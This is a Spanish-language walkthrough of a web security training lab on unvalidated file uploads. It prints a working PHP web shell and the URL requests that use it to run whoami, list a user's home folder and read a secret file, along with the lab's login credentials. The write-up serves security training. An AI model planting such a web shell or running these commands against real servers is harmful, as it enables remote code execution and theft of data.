Entrada

File Upload Vulnerabilities Lab 1

File Upload Vulnerabilities Lab 1

Skills

  • Remote code execution via web shell upload

Certificaciones

  • eWPT
  • eWPTXv2
  • OSWE
  • BSCP

Descripción

Este laboratorio contiene una función de carga de imágenes vulnerable que no realiza ninguna validación en los archivos que los usuarios suben antes de almacenarlos en el sistema de archivos del servidor. Para resolver el laboratorio, debemos subir una web shell básica en PHP, usarla para extraer el contenido del archivo /home/carlos/secret y luego enviar este secreto utilizando el botón proporcionado en la barra del laboratorio. Podemos iniciar sesión en nuestra cuenta usando las siguientes credenciales: wiener:peter


Resolución

Al acceder a la web nos sale esto

Pulsamos en My account e iniciamos sesión con las credenciales wiener:peter

Vemos que existe un campo de subida de archivos

Si inspeccionamos con donde se aloja la imagen vemos que es en la ruta /resources/images

Nos creamos un archivo llamado shell.php y lo subimos

1
2
3
<?php
    echo "<pre>" . system($_REQUEST['cmd']) . "</pre>";
?>

Abrimos nuevamente el inspector de chrome y vemos que el archivo subido se aloja en /files/avatars

Si accedemos a https://0aa000d704efa5eb8202c09f005a0081.web-security-academy.net/files/avatars/shell.php?cmd=whoami veremos que tenemos un RCE (Remote Code Execution)

Si accedemos a https://0aa000d704efa5eb8202c09f005a0081.web-security-academy.net/files/avatars/shell.php?cmd=ls%20/home/carlos vemos un archivo llamado secret

Leemos la información de ese archivo con https://0aa000d704efa5eb8202c09f005a0081.web-security-academy.net/files/avatars/shell.php?cmd=cat%20/home/carlos/secret

Pulsamos en Submit solution y mandamos nuestra solución

Esta entrada está licenciada bajo CC BY 4.0 por el autor.